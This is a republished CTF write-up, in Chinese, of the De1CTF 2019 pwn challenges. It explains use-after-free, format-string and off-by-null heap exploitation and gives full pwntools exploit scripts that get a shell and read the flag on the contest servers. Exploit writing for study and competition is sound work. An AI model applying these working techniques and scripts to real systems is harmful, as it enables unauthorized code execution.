前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >De1CTF 2019-WriteUp-PWN

De1CTF 2019-WriteUp-PWN

作者头像
ChaMd5安全团队
发布2019-08-08 16:47:35
1K0
发布2019-08-08 16:47:35
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队
代码语言:javascript
复制
PWNWeapon在delete过程中很明显存在UAF:

unsigned __int64 delete()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]


  v2 = __readfsqword(0x28u);
  printf("input idx :");
  v1 = get_num();
  if ( v1 < 0 && v1 > 9 )
  {
    printf("error");
    exit(0);
  }
  free(*((void **)&unk_202060 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}没有show操作,选择利用IO_FILE来leakadd过程中chunk有大小限制:0-0x60所以先利用uaf修改一个fd低位来修改一个chunksize构造unsortbin,此时chunk即会包含main_arena+88而后再利用UAF将一个fd指向这里,并修改这里的fd(main_arena+88)低字节指向stdout前的位置(包含合法size"\x7F"),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)leak后再次利用uaf修改malloc_hook为one_target即可get shellEXPfrom pwn import *


#p=process("./pwn")
context.log_level="debug"
def add(index,size,name):
   p.sendlineafter(">> \n","1")
   p.sendlineafter("weapon: ",str(size))
   p.sendlineafter("index: ",str(index))
   p.sendafter(" name:\n",name)


def delete(index):
   p.sendlineafter(">> \n","2")
   p.sendlineafter("input idx :",str(index))


def edit(index,name):
   p.sendlineafter(">> ","3")
   p.sendlineafter("idx: ",str(index))
   p.sendafter("new content:\n",name)
for i in range(100):
    try:
        p=remote("139.180.216.34","8888")
        add(0,0x28,"\x00"*0x10+p64(0x30))
        add(1,0x28,"aaaaa")
        add(2,0x50,"aaaaa")
        add(3,0x60,"aaaaa")
        delete(0)
        delete(1)
        edit(1,"\x18")
        add(0,0x28,"ccccc")
        add(1,0x28,p64(0)*2+p64(0x91))
        delete(0)
        add(4,0x60,"\xdd\x25")
        add(5,0x60,"aaaaa")
        delete(3)
        delete(5)
        edit(5,"\x30")
        add(6,0x60,"aaaaa")
        add(6,0x60,"bbbbb")
        add(6,0x60,"ccccc")
        edit(6,"\x00"*3+p64(0)*6+p64(0xfbad1887)+p64(0)*3+"\x00")
        p.recvuntil("\x7f")
        p.recv(2)
        libc_addr=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
        print hex(libc_addr)
        add(6,0x60,"eeeeeeee")
        delete(6)
        edit(6,p64(libc_addr+0x7ffff7dd1b10-0x7ffff7a0d000-0x23))
        add(6,0x60,"aaaaa")
        add(6,0x60,"\x00"*0x13+p64(libc_addr+0xf1147))
        #gdb.attach(p)
        p.interactive()
    except:
        print "error"
Unprintable程序GOT表不可写main function会输出stack addr后关闭stdout而后会有一次格式化字符串漏洞,最后exitint __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [rsp+0h] [rbp-10h]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]


  v4 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to Ch4r1l3's printf test");
  printf("This is your gift: %p\n", &v3);
  close(1);
  read(0, buf, 0x1000uLL);
  printf(buf, buf);
  exit(0);
}首先考虑复用格式化字符串漏洞在exit的时候发现了一处指针可控程序流且地址在栈上:RAX  0x600e48 (_DYNAMIC+96) ◂— 0x1c
 RBX  0x7f9a13da1168 ◂— 0x2c8
 RCX  0x4
 RDX  0x0
 RDI  0x7f9a13da0948 (_rtld_global+2312) ◂— 0x0
 RSI  0x0
 R8   0x4
 R9   0x3
 R10  0x7ffefcd81518 —▸ 0x7f9a13da09d8 (_rtld_global+2456) —▸ 0x7f9a13b7a000 ◂— jg     0x7f9a13b7a047
 R11  0x3
 R12  0x6010a0 (buf+64) —▸ 0x400726 (main) ◂— push   rbp
 R13  0x0
 R14  0x7ffefcd81500 —▸ 0x7f9a13da1168 ◂— 0x2c8
 R15  0x0
 RBP  0x7ffefcd815c0 —▸ 0x7f9a13b745f8 (__exit_funcs) —▸ 0x7f9a13b75c40 (initial) ◂— 0x0
 RSP  0x7ffefcd81500 —▸ 0x7f9a13da1168 ◂— 0x2c8
 RIP  0x7f9a13b8ade3 (_dl_fini+819) ◂— call   qword ptr [r12 + rdx*8]
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x7f9a13b8ade3 <_dl_fini+819>    call   qword ptr [r12 + rdx*8] <0x400726>
        rdi: 0x7f9a13da0948 (_rtld_global+2312) ◂— 0x0
        rsi: 0x0
        rdx: 0x0
        rcx: 0x4


   0x7f9a13b8ade7 <_dl_fini+823>    test   r13d, r13d
   0x7f9a13b8adea <_dl_fini+826>    lea    r13d, [r13 - 1]
   0x7f9a13b8adee <_dl_fini+830>    jne    _dl_fini+816 <0x7f9a13b8ade0>


   0x7f9a13b8adf0 <_dl_fini+832>    mov    rax, qword ptr [rbx + 0xa8]
   0x7f9a13b8adf7 <_dl_fini+839>    test   rax, rax
在这里rdx固定,r12由:确定,而rbx=0x7f9a13da1168,这个地址在栈上存在,格式化字符串时修改时对应%26$n,r12在add前固定,为0x600dd8所以可以更改[rbx]内的偏移,使在call   qword ptr [r12 + rdx*8]时,r12+rdx*8指向buf内的空间,对应位置存入main_func_addr即可实现复用一次这时候就可以在第一次格式化字符串时修改偏移来复用,并在栈中修改一个栈上的指针指向第二次printf时返回地址对应位置,即可在复用printf时修改自己的返回地址实现再次复用不过这里注意因为%n最大修改为0x2000,所以我们要在最开始获得一个stack_addr&0xFFFF<0x2000的栈地址再次复用时为了方便,避免下次返回地址再次变化,修改返回地址为0x4007A3,此时栈不会继续增长:下面考虑栈迁移,便于构造ROP链首先看到一条比较好的gadget:这时候只需要修改printf返回地址为此处,并在下一地址写入buf内的地址即可在printf返回时pop rsp,使rsp指向buf内的地址,完成栈迁移栈迁移后考虑构造execv("/bin/sh")首先要获得一个syscall的地址,程序本身没有syscall的gadget而且buf内没有可用地址,所以考虑先调用libc函数在栈中留下一个syscall附近地址,尝试后发现puts可以,调用puts后可以在栈中留下一个libc地址,且此地址附近(更改最低位一字节后便可以)存在syscall此时获得了syscallrdi,rsi可以直接利用pop的gadget构造最后需要构造rax和rdxrdx可以通过:间接获得rax我选择最后read 0x3b个字节来利用read的返回值获得设置好所有寄存器后跳入预先在buf里修改好的syscall地址即可获得shell因为没有stdout,所以获得shell直接将输出转入stderr或者stdin即可:
 EXPfrom pwn import *
import time
context.log_level="debug"
# def fuck(ad,value):
#     p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
#     time.sleep(5)
#     p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
#     ad=ad+4
#     value=value>>8
#     time.sleep(5)
#     p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
#     time.sleep(5)
#     p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
for i in range(1000):
  p=remote("45.32.120.212",9999)
  p.recvuntil("gift: ")
  addr=int(p.recvuntil("\n"),16)
  print hex(addr)
  if addr&0xffff<0x2000:
    #gdb.attach(p)
    #time.sleep(20)
    stack1=addr-0x7fffffffdd90+0x7fffffffdc58
    print hex(stack1)
    payload="%712c%26$naaaaaa"
    payload+=("%"+str((stack1&0xffff)-718)+"c%11$hn").ljust(48,"a")+p64(0x0400726)
    p.sendline(payload)
    time.sleep(2)
    ad=stack1+8
    print hex(ad)
    value=0x6011b0
    p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
    time.sleep(2)
    p.sendline("%163c%75$hhn%"+str((value&0xffff)-163)+"c%16$hn")
    ad=ad+2
    value=value>>8
    time.sleep(2)
    p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
    time.sleep(2)
    p.sendline("%96c%16$hn%67c%75$hhn")
    time.sleep(2)
    rop=p64(0x400833)+p64(0x6011f0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x4005F0)
    rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601160)+p64(0)+p64(0x400610)
    rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x400610)
    rop+=p64(0x400833)+p64(0x601060)+p64(0x40082A)+p64(0)+p64(0)
    rop+=p64(0x601168)+p64(0)+p64(0)+p64(0x601060)+p64(0x400810)
    p.sendline("%2093c%75$hn\x00".ljust(0x150,"a")+p64(0)*3+rop)
    time.sleep(2)
    p.send("a"*8+"\xac")
    time.sleep(2)
    #gdb.attach(p)
    p.send("/bin/sh".ljust(0x3b,"\x00"))
    p.interactive()
    exit()
  else:
    p.close()
#cat flag >&0
A+B Judge解题思路直接写C代码读 flag            

 
       
Mimic_note做完的时候才发现更新了附件给了远程的server不过同时给32和64文件很明显是输入输出需要相同这时候首先确定不能leak,不然32和64一定有区别所以首先确定思路是需要构造ret2_dl_runtime_resolve程序本身漏洞在edit:char *edit()
{
  char *result; // eax
  int v1; // [esp+8h] [ebp-10h]


  puts("index ?");
  v1 = get_int();
  if ( v1 < 0 || v1 > 15 || !(&notes)[2 * v1] )
    return (char *)puts("invalid index");
  puts("content?");
  result = &(&notes)[2 * v1][read(0, (&notes)[2 * v1], nbytes[2 * v1])];
  *result = 0;
  return result;
}
很明显存在off by null我选择在32位中get shell因为32位和64位off by null触发时size不同,所以可以保证利用过程中输入输出相同首先常规思路,利用off by null触发unlink操作来造成堆重叠堆重叠后利用double free来分配chunk到notes中(程序没有开启PIE)此时首先实现任意地址写下面考虑栈迁移:程序GOT表可写,并且发现一个较好的gadget:





要在栈中构造一条ROP链首先栈中数据可控的只有get_int时的输入所以要找到一个函数可以调用时跳入get_int的buf里最后选择deletedelete时,在get_int后call free时:可以看到此时esp与数据块很接近在此之前先将free的got表中地址改为:因为此处sub     esp, 0Ch,可以使esp落入get_int的buf[0x14],而后push eax,因为call free时eax为需要free的chunk地址,所以事先在对应note处写入一个需要的地址即可在push时打入栈中,这样,我们可控的rop链长度就会为0xc字节,在此前,将malloc的got表地址改为:此时call malloc即可滑入rop链,rop链设置为pop_ebp+fake_stack_addr+leave_ret即可迁移栈段迁移栈段后ret2_dl_runtime_resolve:迁移栈到预先设计好的保存伪造的参数及dynsym和dynstr的位置即可不过有个注意点,这次发现ret2_dl_runtime_resolve时候r_info的数值实际上不能任意,r_info的值取决于伪造的dynsym结构地址在_dl_fixup时:
 EAX  0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x80484e6 (atoi@plt+6) ◂— push   0x48 /* 'hH' */
 EBX  0x8048288 ◂— dec    esi /* 'N' */
 ECX  0x0
 EDX  0x8049fc4 (_DYNAMIC+176) ◂— 0x6ffffff0
 EDI  0xf7f89918 ◂— 0x0
 ESI  0xb
 EBP  0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x80484e6 (atoi@plt+6) ◂— push   0x48 /* 'hH' */
 ESP  0xfff01148 ◂— 0x1
 EIP  0xf7f7384b (_dl_fixup+107) ◂— mov    edx, dword ptr [edx + 4]
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
   0xf7f73835 <_dl_fixup+85>     mov    ebp, eax
   0xf7f73837 <_dl_fixup+87>     jne    _dl_fixup+304 <0xf7f73910>


   0xf7f7383d <_dl_fixup+93>     mov    edx, dword ptr [edi + 0xe4]
   0xf7f73843 <_dl_fixup+99>     test   edx, edx
   0xf7f73845 <_dl_fixup+101>    je     _dl_fixup+272 <0xf7f738f0>


 ► 0xf7f7384b <_dl_fixup+107>    mov    edx, dword ptr [edx + 4]
   0xf7f7384e <_dl_fixup+110>    movzx  edx, word ptr [edx + esi*2]
   0xf7f73852 <_dl_fixup+114>    and    edx, 0x7fff
   0xf7f73858 <_dl_fixup+120>    shl    edx, 4
   0xf7f7385b <_dl_fixup+123>    add    edx, dword ptr [edi + 0x170]
   0xf7f73861 <_dl_fixup+129>    mov    ecx, dword ptr [edx + 4]其中有一步会根据r_info>>8来获取距离:
              此处的偏移处的数值,而后:
其实这里只需要计算出的edx地址合法即可但是在伪造r_info时可能会导致前面esi偏移有问题导致dl_fixup+129处edx地址非法,所以需要在伪造dynsym结构时需要选择一个合适的地址,来使这里edx合法,不造成crash最后get shell时,因为输出不能相同,原本想的是反弹shell但是远程报错没有nc和bash命令不过既然存在报错,即可将输出转向stderr获得flagEXP
from pwn import *


context.log_level="debug"
def new(size):
   p.sendlineafter(">> ","1")
   p.sendlineafter("size?\n",str(size))
def delete(index):
   p.sendlineafter(">> ","2")
   p.sendlineafter("index ?\n",str(index))
def show(index):
   p.sendlineafter(">> ","3")
   p.sendlineafter("index ?\n",str(index))
   return p.recvuntil("\n")
def edit(index,note):
   p.sendlineafter(">> ","4")
   p.sendlineafter("index ?\n",str(index))
   p.sendafter("content?\n",note)
def get_payload():
   stack_addr=0x804a720
   rel_plt = 0x80483c8
   plt_0=0x8048440
   index_offset = (stack_addr + 28) - rel_plt
   atoi_got = 0x804A030
   dynsym_addr = 0x80481D8
   dynstr_addr = 0x80482c8
   hack_dynsym_addr = stack_addr + 36
   align = 0x10 - ((hack_dynsym_addr - dynsym_addr) & 0xf)
   hack_dynsym_addr = hack_dynsym_addr + align
   index_dynsym_addr = (hack_dynsym_addr - dynsym_addr) / 0x10
   r_info = (index_dynsym_addr << 8) | 0x7
   hack_rel = p32(atoi_got) + p32(r_info)
   st_name = (hack_dynsym_addr + 0x10) - dynstr_addr
   hack_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
   payload = p32(0)+p32(plt_0)+p32(index_offset)+p32(0)
   payload += p32(stack_addr + 80)+p32(0)*2+hack_rel
   payload += '\x00' * align+hack_dynsym +"system\x00"
   payload += '\x00'*(80-len(payload))
   payload += "cat flag>&2"
   return payload
#p=process("./mimic_note_32")
#gdb.attach(p)
p=remote("45.32.120.212",6666)
#gdb.attach(p)
new(0x84)
new(0x14)
new(0xfc)
new(0x14)
delete(0)
edit(1,p32(0)*4+p32(0x88+0x18))
delete(2)
new(0x84)
new(0x14)
new(0x18)
delete(1)
delete(3)
delete(2)
new(0x14)
edit(1,p32(0x804a080))
new(0x14)
new(0x14)
new(0x14)
edit(5,p32(0x804A060)+p32(0x1000)+p32(0x804a720)+p32(0x1000))
new(0x90)
payload=get_payload()
edit(6,payload)
edit(5,p32(0x804A01C)+p32(0x20))
edit(0,p32(0x08048439)+p32(0x80484a6))
edit(5,p32(0x804A014)+p32(0x10)+p32(0x080489fb)+p32(1))
edit(0,p32(0x8048679))
p.sendlineafter(">> ","2")
magiccode="1"+" "*15+"\x00"*4+p32(0x804a720)+p32(0x8048924)
#gdb.attach(p)
p.sendlineafter("index ?\n",magiccode)
p.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档